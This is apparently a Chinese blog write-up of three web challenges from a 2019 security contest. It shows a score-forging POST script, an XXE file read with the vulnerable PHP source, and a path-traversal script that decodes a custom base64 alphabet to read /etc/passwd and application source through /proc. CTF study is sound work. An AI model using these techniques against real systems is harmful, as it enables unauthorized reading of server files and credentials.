sky's blog

2019网络与信息安全领域专项赛Web Writeup

字数统计: 1,162阅读时长: 6 min
2019/08/15 Share

前言

今天要坐5个小时的高铁,在车上顺便打了个比赛,以下是web题解。

Game


拿到题发现是个老虎机= =,本能的查看JS:

1
http://4c7add9a08cb4acda1bec9c7693bf7d121100f86cdf74096.changame.ichunqiu.com/js/cqg.js

发现:

随机直接给score.php发包:

1
2
3
4
5
6
7
import requests
url = 'http://4c7add9a08cb4acda1bec9c7693bf7d121100f86cdf74096.changame.ichunqiu.com/score.php'
data = {
'score':'15'
}
r = requests.post(url,data)
print r.content

who_are_you?

打开题目发现是个姓名输入,测试了一下发现不是啥注入登录= =:

随即查看了一下源代码:

发现存在xml语句,那么抓包尝试进行XXE文件读取:

发现是有回显的XXE,那么简单构造,探测过滤:

直接尝试任意文件读取:

探测web目录,上字典进行扫描:

直接发现了web目录,随即进行读取:

解码后发现得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
libxml_disable_entity_loader(false);
$data = @file_get_contents('php://input');
$resp = '';
//$flag='flag{718a9c72-3d56-4ea9-9a14-d9db51228f61}';
if($data != false){
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT);
ob_start();
$res = $dom->textContent;
$resp = ob_get_contents();
ob_end_clean();
if ($res){
die($res);
}

}
?>

得到flag:

1
flag{718a9c72-3d56-4ea9-9a14-d9db51228f61}

show_me_your_image

拿到题目后,发现是一个上传界面:

上传图片后得到路径:

1
http://8ee9e71577b74be2a9678e5411e4b1b76b9c259063c54091.changame.ichunqiu.com/img.php?name=TYrg73eHzZhRjmPg

同时session为:

1
eyJmaWxlIjp7IiBiIjoiVkZseVp6Y3paVWg2V21oU2FtMVFadz09In19.XVWOtA.QVC_HI-oJpjQCJ1v1UaxzUEd2BA

解码得到:

题目有2个地方感觉比较奇怪,第一个地方是文件名比较奇怪,并不是普通的base64,第二个是session比较奇怪,像JWT又不是,观察题目的路由,是发给upload.php的,这是个PHP,却又有不符合php样子的东西,这一点为接下来的内容埋下了伏笔。
首先针对文件名进行研究,不难发现,文件名受上传文件的filename影响,同时并不是正常的base64。
同时如果想更改文件名进行任意文件读取,会返回500:

经过研究发现,码表是被更换过的:

我们搞出码表的映射关系:

1
2
3
4
5
6
7
import string

ax='YWFhYmJiY2NjZGRkZWVlZmZmZ2dnaGhoaWlpampqa2trbGxsbW1tbm5ub29vcHBwcXFxcnJyc3NzdHR0dXV1dnZ2d3d3eHh4eXl5enp6QUFBQkJCQ0NDRERERUVFRkZGR0dHSEhISUlJSkpKS0tLTExMTU1NTk5OT09PUFBQUVFRUlJSU1NTVFRUVVVVVlZWV1dXWFhYWVlZWlpaMDAwMTExMjIyMzMzNDQ0NTU1NjY2Nzc3ODg4OTk58+/7f'
bx='0YNf0XCx0ODkMmW9MYPVMXMXMOSgTmfvTYVsTXsRTOFcAmHuAYrFAXh+AOn8jodpjLNHjgC4jUDBSoW1SLPrSgMOSUSU6ofb6LVh6gsKqJNdq9C3q1DyWiWiWJPNW9MmW1SoZif7ZJVCZ9szZ1Fa5iHl5JrD59hw51n2JNdqJPNWJVCZJrD5PNWJPPPPPVMYPrSLYNf0YPVMYVsTly/pl5iHlk74lBlBDyq1D5JrDk0ODBjUwyebw59htQEGI'

c = string.maketrans(ax,bx)
print(string.translate("index.php", c))

此时编码就正常了许多,我们可以进行任意文件读取了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import string
import requests
import base64

url = 'http://8ee9e71577b74be2a9678e5411e4b1b76b9c259063c54091.changame.ichunqiu.com/img.php?name='
ax='YWFhYmJiY2NjZGRkZWVlZmZmZ2dnaGhoaWlpampqa2trbGxsbW1tbm5ub29vcHBwcXFxcnJyc3NzdHR0dXV1dnZ2d3d3eHh4eXl5enp6QUFBQkJCQ0NDRERERUVFRkZGR0dHSEhISUlJSkpKS0tLTExMTU1NTk5OT09PUFBQUVFRUlJSU1NTVFRUVVVVVlZWV1dXWFhYWVlZWlpaMDAwMTExMjIyMzMzNDQ0NTU1NjY2Nzc3ODg4OTk58+/7f'
bx='0YNf0XCx0ODkMmW9MYPVMXMXMOSgTmfvTYVsTXsRTOFcAmHuAYrFAXh+AOn8jodpjLNHjgC4jUDBSoW1SLPrSgMOSUSU6ofb6LVh6gsKqJNdq9C3q1DyWiWiWJPNW9MmW1SoZif7ZJVCZ9szZ1Fa5iHl5JrD59hw51n2JNdqJPNWJVCZJrD5PNWJPPPPPVMYPrSLYNf0YPVMYVsTly/pl5iHlk74lBlBDyq1D5JrDk0ODBjUwyebw59htQEGI'

c = string.maketrans(ax,bx)
name = string.translate(base64.b64encode("../../../etc/passwd"), c)
url = url+name
r = requests.get(url)
print r.content
print url


此时对/proc目录进行读取探测,发现stat正常:

此时奇怪的事情发生了,看到了一个python3,明明是php的程序,为什么会有python3?
于是我对cmdline进行了读取:

发现还真有一个app.py被启动了,那么我赶紧对其源码进行读取:

1
../../../../proc/self/cwd/app.py

(这里要注意url编码)
即可拿到app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
from urllib import parse
from base64 import b64decode, b64encode
from utils import r_encode, r_decode, read_file
from flask import render_template, Response
from flask import Flask, session, redirect, request
from werkzeug.utils import secure_filename

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(24)

UPLOAD_FOLDER = '/tmp/uploads/'

ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER


def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS


@app.route('/')
@app.route('/index.php')
def home():
file = session.get('file')
if file:
file = bytes.decode(file)
file = parse.quote(file)
return render_template('index.html', file=file)


@app.route('/upload.php', methods=['POST'])
def upload():
if request.method == 'POST':
file = request.files['file']
if file and allowed_file(file.filename):
if not os.path.exists(app.config['UPLOAD_FOLDER']):
os.makedirs(app.config['UPLOAD_FOLDER'])
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
else:
return "不允许的格式"
session['file'] = r_encode(b64encode(str.encode(file.filename)))
return redirect('/')


@app.route('/img.php', methods=['GET'])
def img():
file = request.args.get("name")
file = r_decode(str.encode(file))
file = b64decode(file)
file = UPLOAD_FOLDER + bytes.decode(file)
image = read_file(file)
return Response(image, mimetype="ima/jpeg")


if __name__ == '__main__':
app.run(
host = '0.0.0.0',
port = 80,
)

不禁感叹出题人的阴线,把一个python题目搞成php的样子,叫这种名字的路由= =。
接着寻找flag文件,看到出题人的提示:

1
templates/upload.html

于是读取:

1
../../../../proc/self/cwd/templates/upload.html

得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<table>
<tr>
<td>
上传图片
</td>
<td>
<input type="file" name="file">

</td>
</tr>
</table>
<input type="submit" value="上传">
</form>
{% if file %}
![](img.php?name={{ file }}">
{% else %}
请上传一张图片
{% endif %}
</body>
</html>
<!-- flag in /root/flag.txt ! Get it ! -->

发下flag在/root/flag.txt,进行读取:

即可成功getflag。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. Game
  3. 3. who_are_you?
  4. 4. show_me_your_image